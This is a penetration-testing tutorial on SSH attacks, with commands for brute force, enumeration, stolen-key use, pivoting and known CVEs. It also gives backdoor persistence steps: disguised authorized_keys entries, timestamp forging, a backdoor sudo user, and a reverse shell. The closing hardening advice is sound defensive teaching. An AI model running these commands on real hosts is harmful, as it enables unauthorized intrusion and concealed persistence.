Skip to Content
SSH service exploitation with brute-force, tunneling, and key-based attacks

SSH Service Attacks and Exploitation

Attacking SSH on a penetration test, covering password brute force, stolen and weak keys, tunnelling and port forwarding, known vulnerabilities and key-based persistence.

Oct 29, 2025
Updated Nov 22, 2026
19 min read

Introduction

Secure Shell (SSH) is the encrypted protocol for remote administration and file transfer. It replaced Telnet and rsh and is now how almost every Linux and Unix host and most network devices are managed.

The protocol holds up well. What breaks is how it is deployed:

  • Default or guessable passwords on accounts that allow password login.
  • Private keys left readable, unencrypted, or reused across hosts.
  • Permissive server settings, such as root login with a password.
  • Old server versions with known bugs.
  • Username disclosure through implementation bugs.
  • Deprecated algorithms still enabled.

Why SSH matters on a test

SSH runs on nearly every Linux server, network device and cloud instance, and it is often reachable from the internet. A working login usually means a shell as a real user, sometimes root. Once you have that shell, port forwarding gives you a route into the internal network, and an extra entry in authorized_keys keeps your access after passwords change.

Technical background

Protocol layers

SSH is built from three layers, defined in RFC 4251 to 4254.

The transport layer (RFC 4253) runs on TCP/22 by default. It negotiates algorithms, performs key exchange, authenticates the server through its host key, and sets up encryption and integrity protection.

The user authentication layer (RFC 4252) authenticates the client using whichever methods the server allows.

The connection layer (RFC 4254) multiplexes channels over the encrypted tunnel: shells, port forwards, X11 forwarding and agent forwarding.

Authentication methods

MethodDescriptionSecurity Considerations
PasswordTraditional username/passwordVulnerable to brute-force
Public KeyAsymmetric key pair authenticationSecure if keys protected
Host-basedAuthenticates based on client hostnameRarely used, spoofable
Keyboard-interactiveChallenge-response (e.g., OTP)Strong with MFA
GSSAPIKerberos-based authenticationComplex, enterprise environments
CertificateKeys signed by an SSH certificate authorityCentral revocation and expiry, less common

Key types

AlgorithmKey SizeSecurity LevelNotes
RSA2048-4096 bitsAdequate-StrongMost compatible
Ed25519256 bitsVery StrongModern, recommended
ECDSA256-521 bitsStrongUses NIST curves, which some people distrust
DSA1024 bitsWeakDeprecated, avoid

Configuration files

Client configuration (~/.ssh/config):

Host example
    HostName 10.10.11.45
    User admin
    Port 2222
    IdentityFile ~/.ssh/id_rsa
    ProxyJump bastion.example.com

Server configuration (/etc/ssh/sshd_config):

Port 22
PermitRootLogin no
PasswordAuthentication yes
PubkeyAuthentication yes
PermitEmptyPasswords no
MaxAuthTries 3
AllowUsers admin backup

Enumeration

The banner gives the server software and version, which is what you match against known vulnerabilities:

SSH Banner Grabbing
# Using Netcat
nc 10.10.11.45 22

# Using Telnet
telnet 10.10.11.45 22

# Using Nmap
nmap -p 22 -sV 10.10.11.45

# Using ssh-keyscan
ssh-keyscan 10.10.11.45

# Using Python
python3 -c 'import socket; s=socket.socket(); s.connect(("10.10.11.45",22)); print(s.recv(1024))'

Example output:

SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5
SSH-2.0-OpenSSH_7.4
SSH-2.0-libssh_0.9.6

Nmap SSH enumeration

SSH Service Enumeration
# Comprehensive SSH scan
nmap -p 22 -sV -sC --script=ssh* 10.10.11.45

# Specific useful scripts
nmap -p 22 --script ssh2-enum-algos 10.10.11.45
nmap -p 22 --script ssh-hostkey 10.10.11.45
nmap -p 22 --script ssh-auth-methods 10.10.11.45
nmap -p 22 --script ssh-brute 10.10.11.45

# Check for weak encryption
nmap -p 22 --script ssh2-enum-algos 10.10.11.45 | grep -E "arcfour|cbc"

NSE scripts for SSH:

  • ssh2-enum-algos lists the supported key exchange, cipher and MAC algorithms.
  • ssh-auth-methods shows which authentication methods the server offers for a given user.
  • ssh-hostkey retrieves the host keys.
  • ssh-brute guesses credentials.
  • sshv1 detects the deprecated SSHv1 protocol.
  • ssh-publickey-acceptance tests whether the server accepts a given set of public keys.

ssh-audit

ssh-audit checks the algorithms, host keys and version against known weaknesses and CVEs:

# Install
sudo apt install ssh-audit

# Audit SSH server
ssh-audit 10.10.11.45

# Audit specific port
ssh-audit -p 2222 10.10.11.45

# JSON output
ssh-audit -j 10.10.11.45 > ssh-audit.json

Example output:

[0;91m(key) ssh-rsa (1024-bit)                    -- [fail] using broken SHA-1 hash algorithm
[0;91m(key) ssh-rsa (1024-bit)                    -- [fail] key size is insufficient
[0;33m(enc) 3des-cbc                              -- [warn] using weak cipher
[0;33m(mac) hmac-md5                              -- [warn] using weak hashing algorithm

User enumeration

The Metasploit module below uses CVE-2018-15473 (covered further down). The manual timing comparison is less reliable:

# Using Metasploit
msfconsole
msf6 > use auxiliary/scanner/ssh/ssh_enumusers
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
msf6 auxiliary(scanner/ssh/ssh_enumusers) > run

# Manual timing analysis
time ssh invalid_user@10.10.11.45
time ssh root@10.10.11.45
# Compare response times - valid users typically respond slower

User enumeration limits

OpenSSH 7.7 fixed CVE-2018-15473, and current releases do not leak valid usernames through it. Timing differences still show up on some servers and configurations, but they are noisy. Take many samples before trusting the result.

Exploitation techniques

Password brute force

Prepare wordlists

# Common wordlists
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/metasploit/unix_passwords.txt
/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt

# Generate custom wordlist
crunch 8 8 -t admin@@@ > passwords.txt

# Use cewl for target-specific wordlist
cewl https://company.com -w wordlist.txt

Hydra

SSH Password Brute-Force with Hydra
# Single username
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.10.11.45

# User list
hydra -L users.txt -P passwords.txt ssh://10.10.11.45

# Specific port
hydra -l admin -P passwords.txt -s 2222 ssh://10.10.11.45

# Faster execution (use cautiously)
hydra -l admin -P passwords.txt -t 4 ssh://10.10.11.45

# Stop after first success
hydra -l admin -P passwords.txt -f ssh://10.10.11.45

# With verbose output
hydra -l admin -P passwords.txt -V ssh://10.10.11.45

Medusa

# Basic attack
medusa -h 10.10.11.45 -u admin -P passwords.txt -M ssh

# Multiple users
medusa -h 10.10.11.45 -U users.txt -P passwords.txt -M ssh

# Threading control
medusa -h 10.10.11.45 -u admin -P passwords.txt -M ssh -t 4

# Verbose mode
medusa -h 10.10.11.45 -u admin -P passwords.txt -M ssh -v 6

# Stop on first success
medusa -h 10.10.11.45 -u admin -P passwords.txt -M ssh -f

Metasploit SSH login scanner

msfconsole
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME admin
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE true
msf6 auxiliary(scanner/ssh/ssh_login) > run

Lockout and rate limiting

Many SSH servers run fail2ban, rate limiting or account lockout. Password spraying (one password across many accounts) is less likely to get you banned than hammering one account:

# Password spray with Hydra
hydra -L users.txt -p Welcome123! ssh://10.10.11.45

# Spray with delays to avoid detection
for user in $(cat users.txt); do hydra -l $user -p Welcome123! ssh://10.10.11.45; sleep 300; done

SSH key attacks

Find private keys

SSH Private Key Discovery
# Search for SSH private keys
find / -name id_rsa 2>/dev/null
find / -name id_dsa 2>/dev/null
find / -name "*.pem" 2>/dev/null

# Common locations
~/.ssh/id_rsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
/root/.ssh/id_rsa
/home/*/.ssh/id_rsa

# Search in web directories
find /var/www -name "*.pem" -o -name "id_rsa" 2>/dev/null

# Check backups
find /var/backups -name "*.key" -o -name "id_*" 2>/dev/null

Key file permissions

OpenSSH refuses to use a private key that other users can read, so fix the permissions on any key you copy off a target:

# Correct permissions
chmod 700 ~/.ssh
chmod 600 ~/.ssh/id_rsa
chmod 644 ~/.ssh/id_rsa.pub
chmod 644 ~/.ssh/authorized_keys
chmod 600 ~/.ssh/config

# Fix all SSH permissions at once
chmod 700 ~/.ssh && chmod 600 ~/.ssh/* && chmod 644 ~/.ssh/*.pub

Use discovered private keys

# Basic connection
ssh -i id_rsa user@10.10.11.45

# If key has wrong permissions
chmod 600 id_rsa
ssh -i id_rsa user@10.10.11.45

# Bypass strict host key checking
ssh -i id_rsa -o StrictHostKeyChecking=no user@10.10.11.45

# Verbose connection for debugging
ssh -i id_rsa -v user@10.10.11.45

Crack encrypted private keys

# Convert SSH key to John format
ssh2john id_rsa > id_rsa.hash

# Crack with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

# Show cracked password
john --show id_rsa.hash

# Use cracked passphrase
ssh -i id_rsa user@10.10.11.45
# Enter passphrase when prompted

Tunnelling and port forwarding

Port forwarding through a compromised SSH host is often the quickest way into an internal network segment.

Local port forwarding

Forward a local port through the SSH server to a destination it can reach:

SSH Local Port Forwarding
# Basic local forward
ssh -L 8080:localhost:80 user@10.10.11.45

# Access internal web server
ssh -L 8080:192.168.1.100:80 user@10.10.11.45
# Then browse to: http://localhost:8080

# Multiple port forwards
ssh -L 8080:localhost:80 -L 3306:192.168.1.50:3306 user@10.10.11.45

# Forward to different destination
ssh -L 5901:10.10.10.100:5900 user@10.10.11.45

# Bind to all interfaces (dangerous)
ssh -L 0.0.0.0:8080:localhost:80 user@10.10.11.45

Remote port forwarding

Open a port on the SSH server that forwards back to your machine:

# Basic remote forward
ssh -R 8080:localhost:80 user@10.10.11.45

# Expose local service to remote network
ssh -R 9001:localhost:9001 user@10.10.11.45

# Reverse shell through SSH
ssh -R 4444:localhost:4444 user@10.10.11.45
# Then nc -lvnp 4444 locally

Dynamic port forwarding (SOCKS proxy)

Run a SOCKS proxy on your machine that sends traffic out through the SSH server:

SSH Dynamic Port Forwarding (SOCKS Proxy)
# Create SOCKS5 proxy on port 1080
ssh -D 1080 user@10.10.11.45

# Specify bind address
ssh -D 127.0.0.1:1080 user@10.10.11.45

# Use with proxychains
# Edit /etc/proxychains4.conf: socks5 127.0.0.1 1080
proxychains nmap -sT 192.168.1.0/24

# Use with Firefox
# Settings → Network → Manual Proxy → SOCKS Host: 127.0.0.1, Port: 1080

Jump hosts and bastions

# ProxyJump (OpenSSH 7.3+)
ssh -J bastion.example.com user@10.10.11.45

# Multiple jumps
ssh -J bastion1,bastion2 user@10.10.11.45

# ProxyCommand (older method)
ssh -o ProxyCommand="ssh -W %h:%p bastion.example.com" user@10.10.11.45

Known vulnerabilities

OpenSSH username enumeration (CVE-2018-15473)

OpenSSH before 7.7 answers differently to a malformed public key authentication request depending on whether the username exists. It is a response difference, not a timing attack, so it is reliable.

# Using Metasploit
msf6 > use auxiliary/scanner/ssh/ssh_enumusers
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
msf6 auxiliary(scanner/ssh/ssh_enumusers) > exploit

# Using Python script
git clone https://github.com/epi052/cve-2018-15473.git
cd cve-2018-15473
python3 ssh-username-enum.py --port 22 --userList users.txt 10.10.11.45

Affected versions: OpenSSH before 7.7.

libssh authentication bypass (CVE-2018-10933)

A libssh server accepts SSH2_MSG_USERAUTH_SUCCESS from the client in place of a real authentication request, so the client is logged in without credentials. This affects servers built on libssh, not OpenSSH.

# Using Metasploit
msf6 > use auxiliary/scanner/ssh/libssh_auth_bypass
msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > set SPAWN_PTY true
msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > run

Affected versions: libssh 0.6.0 to 0.7.5 and 0.8.0 to 0.8.3.

Terrapin attack (CVE-2023-48795)

Terrapin is a prefix truncation attack. A man-in-the-middle can drop packets at the start of the encrypted session without either side noticing, which can be used to downgrade extension negotiation. It needs chacha20-poly1305@openssh.com or an -etm MAC with CBC mode, and an on-path attacker. On a report it is usually a low-severity configuration finding.

# Check if server is vulnerable
ssh-audit 10.10.11.45 | grep -i "terrapin"

# Mitigation: Update to OpenSSH 9.6+ or disable affected algorithms

Post-exploitation

Persistence via SSH keys

Generate a key pair

# Generate Ed25519 key (recommended)
ssh-keygen -t ed25519 -f ./backdoor_key -N ""

# Generate RSA key (more compatible)
ssh-keygen -t rsa -b 4096 -f ./backdoor_key -N ""

# Generate with comment
ssh-keygen -t ed25519 -f ./backdoor_key -C "legit-admin-key" -N ""

Install the public key on the target

# Append to authorized_keys
echo "ssh-ed25519 AAAAC3Nza... attacker@kali" >> ~/.ssh/authorized_keys

# Create .ssh directory if needed
mkdir -p ~/.ssh
chmod 700 ~/.ssh
echo "ssh-ed25519 AAAAC3Nza... legit-admin" > ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# For root persistence
echo "ssh-ed25519 AAAAC3Nza... backup-key" >> /root/.ssh/authorized_keys

Test access

# Connect with private key
ssh -i backdoor_key user@10.10.11.45

# Verify persistent access
ssh -i backdoor_key root@10.10.11.45

Stay quiet

# Use legitimate-looking key comment
ssh-keygen -t ed25519 -C "user@workstation" -N ""

# Hide in unusual authorized_keys locations
echo "ssh-ed25519 ..." >> ~/.ssh/authorized_keys2

# Modify timestamps to match
touch -r /etc/passwd ~/.ssh/authorized_keys

SSH configuration changes

# Modify sshd_config for persistence
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config
systemctl restart sshd

# Add backdoor user
useradd -m -s /bin/bash backdoor
echo "backdoor:P@ssw0rd123!" | chpasswd
usermod -aG sudo backdoor

# Allow without password
echo "backdoor ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

File transfer over SSH

# SCP - Secure Copy
scp file.txt user@10.10.11.45:/tmp/
scp user@10.10.11.45:/etc/passwd ./
scp -r /local/dir user@10.10.11.45:/remote/dir

# SFTP - Secure FTP
sftp user@10.10.11.45
sftp> put local_file.txt
sftp> get remote_file.txt
sftp> mput *.txt
sftp> mget *.log

# Rsync over SSH
rsync -avz -e ssh /local/dir user@10.10.11.45:/remote/dir

Detection and defense

Monitoring SSH activity

Log files to watch:

# Authentication logs
/var/log/auth.log (Debian/Ubuntu)
/var/log/secure (RHEL/CentOS)

# SSH daemon logs
journalctl -u sshd

# Real-time monitoring
tail -f /var/log/auth.log | grep sshd

# Failed login attempts
grep "Failed password" /var/log/auth.log

# Successful logins
grep "Accepted" /var/log/auth.log

# Brute-force detection
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -n

Hardening the server configuration

Recommended /etc/ssh/sshd_config settings:

# Disable root login
PermitRootLogin no

# Disable password authentication (key-only)
PasswordAuthentication no
PermitEmptyPasswords no

# Limit authentication attempts
MaxAuthTries 3

# Enable public key authentication
PubkeyAuthentication yes

# Disable unused authentication methods
ChallengeResponseAuthentication no
KerberosAuthentication no
GSSAPIAuthentication no

# Use strong ciphers only
Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr

# Use strong MACs
MACs hmac-sha2-512-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256

# Use strong key exchange algorithms
KexAlgorithms curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512

# Limit users and groups
AllowUsers admin backup
AllowGroups ssh-users

# Change default port (security through obscurity)
Port 2222

# Disable X11 forwarding
X11Forwarding no

# Disable TCP forwarding
AllowTcpForwarding no

# Log more information
LogLevel VERBOSE

# Connection limits
MaxSessions 2
MaxStartups 2:30:10

# Client alive interval (prevent hung sessions)
ClientAliveInterval 300
ClientAliveCountMax 0

# Use protocol 2 only
Protocol 2

Fail2ban configuration

# Install fail2ban
sudo apt install fail2ban

# Configure SSH jail (/etc/fail2ban/jail.local)
[sshd]
enabled = true
port = 22
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime = 3600
findtime = 600

# Start and enable
sudo systemctl enable fail2ban
sudo systemctl start fail2ban

# Check banned IPs
sudo fail2ban-client status sshd

Two-factor authentication

# Install Google Authenticator
sudo apt install libpam-google-authenticator

# Configure for user
google-authenticator

# Edit /etc/pam.d/sshd
auth required pam_google_authenticator.so

# Edit /etc/ssh/sshd_config
ChallengeResponseAuthentication yes

# Restart SSH
sudo systemctl restart sshd

References

MITRE ATT&CK techniques

RFCs and standards

Security resources

Vulnerabilities

Tools documentation

  • ssh-audit - SSH security auditing tool
  • Hydra - SSH brute-force tool
  • Medusa - Parallel SSH authentication testing

On this page